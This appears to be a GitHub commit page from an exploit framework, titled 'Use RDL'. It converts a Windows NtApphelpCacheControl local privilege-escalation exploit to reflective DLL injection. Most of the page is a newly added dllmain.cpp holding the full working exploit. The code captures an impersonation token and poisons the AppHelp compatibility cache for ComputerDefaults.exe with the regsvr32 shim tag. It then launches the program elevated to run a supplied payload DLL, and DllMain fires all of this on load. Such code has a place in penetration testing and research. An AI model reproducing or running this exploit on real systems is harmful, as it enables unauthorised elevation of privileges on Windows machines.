Skip to content

Commit 74e8e05

Browse files
wchen-r7wchen-r7
committed
Use RDL
1 parent ee5c249 commit 74e8e05

File tree

16 files changed

+1223
-120
lines changed

16 files changed

+1223
-120
lines changed

‎data/exploits/ntapphelpcachecontrol/exploit.dll

1 KB
Binary file not shown.

‎external/source/exploits/ntapphelpcachecontrol/dllmain.cpp

Lines changed: 0 additions & 23 deletions
This file was deleted.

‎external/source/exploits/ntapphelpcachecontrol/exploit.sln

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Express 2013 for Windows Desktop
4+
VisualStudioVersion = 12.0.31101.0
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exploit", "exploit\exploit.vcxproj", "{41275E8F-395F-492A-9770-38FE2FAA9669}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Win32 = Debug|Win32
11+
Release|Win32 = Release|Win32
12+
EndGlobalSection
13+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
14+
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.ActiveCfg = Release|Win32
15+
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.Build.0 = Release|Win32
16+
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.ActiveCfg = Release|Win32
17+
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.Build.0 = Release|Win32
18+
EndGlobalSection
19+
GlobalSection(SolutionProperties) = preSolution
20+
HideSolutionNode = FALSE
21+
EndGlobalSection
22+
EndGlobal

‎external/source/exploits/ntapphelpcachecontrol/exploit.vcxproj.filters

Lines changed: 0 additions & 48 deletions
This file was deleted.

‎external/source/exploits/ntapphelpcachecontrol/CaptureImpersonationToken.cpp renamed to ‎external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp

File renamed without changes.

‎external/source/exploits/ntapphelpcachecontrol/exploit.cpp renamed to ‎external/source/exploits/ntapphelpcachecontrol/exploit/Exploit.cpp

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
#include "stdafx.h"
2-
#include <string>
32
#include "sdb.h"
4-
3+
#include <string>
54

65
#define BUF_SIZE 0x108
76
#define MAX_ENV 32767
@@ -145,10 +144,10 @@ LPWSTR GetEnvVar(LPWSTR env)
145144
return buf;
146145
}
147146

148-
DWORD CALLBACK ExploitThread(LPVOID hModule)
147+
DWORD CALLBACK ExploitMain(char * lpReserved)
149148
{
150149
WCHAR dllpath_buf[MAX_PATH];
151-
LPWSTR payloadPath = GetEnvVar(L"PAYLOAD_PATH");
150+
LPWSTR payloadPath = (LPWSTR)lpReserved;
152151

153152
if (!GetFullPathName(payloadPath, MAX_PATH, dllpath_buf, nullptr))
154153
{

‎external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp

Lines changed: 272 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,272 @@
1+
//#include "stdafx.h"
2+
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
3+
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
4+
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
5+
6+
#include "my_winternl.h"
7+
#include "sdb.h"
8+
#include <string>
9+
#include <combaseapi.h>
10+
#include <shellapi.h>
11+
12+
#define BUF_SIZE 0x108
13+
#define MAX_ENV 32767
14+
15+
enum APPHELPCOMMAND
16+
{
17+
AppHelpQuery, // 0 -> 0x22003 DeviceIoControl
18+
AppHelpRemove, // 1 -> 0x22007
19+
AppHelpUpdate, // 2 -> 0x2200B (Admin)
20+
AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused)
21+
AppHelpNotifyStart, // 4 -> 0x220013 (Admin)
22+
AppHelpWriteRegistry, // 5 -> 0x220017 (Admin)
23+
AppHelpNotifyStop, // 6 -> 0x22001B (Admin)
24+
AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service)
25+
AppHelpSnapshot, // 8 -> 0x220023 (Admin)
26+
AppHelpQueryModule, // 9 -> 0x220027
27+
AppHelpRefresh, // 10 -> 0x22002B
28+
AppHelpCheckForChange, // 11 -> 0x22002F
29+
AppHelpQueryHwId, // 12 (doesn’t go to driver, calls AchCacheQueryHwId)
30+
};
31+
32+
struct ApphelpCacheControlData
33+
{
34+
BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?)
35+
DWORD query_flags; // 0x98;
36+
DWORD cache_flags; // 0x9C
37+
HANDLE file_handle; // 0xA0
38+
HANDLE process_handle; // 0xA4
39+
UNICODE_STRING file_name; // 0xA8
40+
UNICODE_STRING package_name;// 0xB0
41+
DWORD buf_len; // 0xB8
42+
LPVOID buffer; // 0xBC
43+
BYTE unkC0[0x2C]; // 0xC0 -> 0xEC
44+
UNICODE_STRING module_name; // 0xEC (used for 9)
45+
BYTE unkF4[0x14]; // 0xF4 -> 0x108
46+
};
47+
48+
typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf);
49+
typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
50+
51+
HANDLE CaptureImpersonationToken();
52+
53+
struct APPHELP_QUERY
54+
{
55+
int match_tags[16];
56+
int unk40[16];
57+
int layer_tags[8];
58+
int flags;
59+
int main_tag;
60+
int match_count;
61+
int layer_count;
62+
GUID exe_guid;
63+
int unkC0[264 / 4];
64+
};
65+
66+
BOOL resolveSdbFunctions();
67+
extern SdbOpenDatabase SdbOpenDatabasePtr;
68+
extern SdbCloseDatabase SdbCloseDatabasePtr;
69+
extern SdbTagToString SdbTagToStringPtr;
70+
extern SdbGetFirstChild SdbGetFirstChildPtr;
71+
extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr;
72+
extern SdbGetNextChild SdbGetNextChildPtr;
73+
extern SdbReadBinaryTag SdbReadBinaryTagPtr;
74+
75+
TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid)
76+
{
77+
TAG tmpTag = 0;
78+
DWORD dwD = 0;
79+
TAGID newtid = TAGID_NULL;
80+
LPCTSTR tmp;
81+
DWORD i = 0;
82+
GUID guid;
83+
84+
newtid = SdbGetFirstChildPtr(db, tid);
85+
while (newtid != TAGID_NULL)
86+
{
87+
tmpTag = SdbGetTagFromTagIDPtr(db, newtid);
88+
tmp = SdbTagToStringPtr(tmpTag);
89+
90+
// process tag types
91+
switch (tmpTag & 0xFFFF)
92+
{
93+
case TAG_EXE_ID:
94+
if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid)))
95+
{
96+
if (IsEqualGUID(guid, exe_guid))
97+
{
98+
return tid;
99+
}
100+
}
101+
break;
102+
103+
default:
104+
break;
105+
}
106+
107+
// recursive
108+
if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST)
109+
{
110+
TAGID ret = findExeByGuid(db, newtid, exe_guid);
111+
if (ret != 0)
112+
{
113+
return ret;
114+
}
115+
}
116+
117+
// get next tag
118+
newtid = SdbGetNextChildPtr(db, tid, newtid);
119+
}
120+
121+
return 0;
122+
}
123+
124+
TAGID GetTagForRegsvr32()
125+
{
126+
resolveSdbFunctions();
127+
128+
PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH);
129+
if (!db)
130+
{
131+
DWORD stat = GetLastError();
132+
printf("Failed to load SDB file %d\n", stat);
133+
return 0;
134+
}
135+
136+
GUID guid;
137+
138+
IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid);
139+
140+
TAGID ret = findExeByGuid(db, TAGID_ROOT, guid);
141+
142+
SdbCloseDatabasePtr(db);
143+
144+
return ret;
145+
}
146+
147+
LPWSTR GetEnvVar(LPWSTR env)
148+
{
149+
WCHAR buf[MAX_ENV];
150+
GetEnvironmentVariable(env, buf, MAX_ENV);
151+
return buf;
152+
}
153+
154+
DWORD CALLBACK ExploitMain(char * lpReserved)
155+
{
156+
WCHAR dllpath_buf[MAX_PATH];
157+
WCHAR payloadPath[MAX_PATH];
158+
MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH);
159+
160+
if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr))
161+
{
162+
printf("Couldn't get fullpath to dll %d\n", GetLastError());
163+
return 1;
164+
}
165+
166+
std::wstring dllpath;
167+
dllpath = L"\"";
168+
dllpath += dllpath_buf;
169+
dllpath += L"\"";
170+
171+
TAGID tag = GetTagForRegsvr32();
172+
if (tag == 0)
173+
{
174+
printf("Failed to get SDB tag for regsvr32\n");
175+
return 1;
176+
}
177+
178+
printf("Found regsvr32.exe tag: %08X\n", tag);
179+
180+
HANDLE token = CaptureImpersonationToken();
181+
_RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString");
182+
_NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl");
183+
184+
ApphelpCacheControlData data = { 0 };
185+
186+
std::wstring exe = GetEnvVar(L"SystemRoot");
187+
exe += L"\\System32\\ComputerDefaults.exe";
188+
189+
std::wstring full_path = L"\\??\\";
190+
full_path += exe.c_str();
191+
192+
printf("Interposing on cache for %ls\n", full_path.c_str());
193+
194+
fRtlInitUnicodeString(&data.file_name, full_path.c_str());
195+
196+
data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
197+
nullptr, OPEN_EXISTING, 0, 0);
198+
if (data.file_handle == INVALID_HANDLE_VALUE)
199+
{
200+
printf("Error opening file %ls %d\n", exe.c_str(), GetLastError());
201+
return 1;
202+
}
203+
204+
data.query_flags = 0xFF;
205+
data.cache_flags = 1;
206+
207+
APPHELP_QUERY query = { 0 };
208+
query.match_count = 1;
209+
query.layer_count = 0;
210+
query.match_tags[0] = tag;
211+
query.unkC0[0] = 1;
212+
213+
data.buffer = &query;
214+
data.buf_len = sizeof(query);
215+
216+
int status = -1;
217+
218+
// Ensure it the cache if flushed
219+
fNtApphelpCacheControl(AppHelpRemove, &data);
220+
221+
if (SetThreadToken(nullptr, token))
222+
{
223+
status = fNtApphelpCacheControl(AppHelpUpdate, &data);
224+
RevertToSelf();
225+
}
226+
else
227+
{
228+
status = GetLastError();
229+
}
230+
231+
if (status == 0)
232+
{
233+
LPCWSTR verb = L"runas";
234+
235+
printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
236+
ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
237+
printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
238+
}
239+
else
240+
{
241+
printf("Error adding cache entry: %08X\n", status);
242+
}
243+
244+
return 0;
245+
}
246+
247+
extern HINSTANCE hAppInstance;
248+
249+
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
250+
{
251+
switch (dwReason)
252+
{
253+
case DLL_QUERY_HMODULE:
254+
hAppInstance = hinstDLL;
255+
if (lpReserved != NULL)
256+
{
257+
*(HMODULE *)lpReserved = hAppInstance;
258+
}
259+
break;
260+
case DLL_PROCESS_ATTACH:
261+
hAppInstance = hinstDLL;
262+
ExploitMain((char*)lpReserved);
263+
ExitProcess(0);
264+
break;
265+
case DLL_THREAD_ATTACH:
266+
case DLL_THREAD_DETACH:
267+
case DLL_PROCESS_DETACH:
268+
break;
269+
}
270+
return TRUE;
271+
}
272+

0 commit comments

Comments
 (0)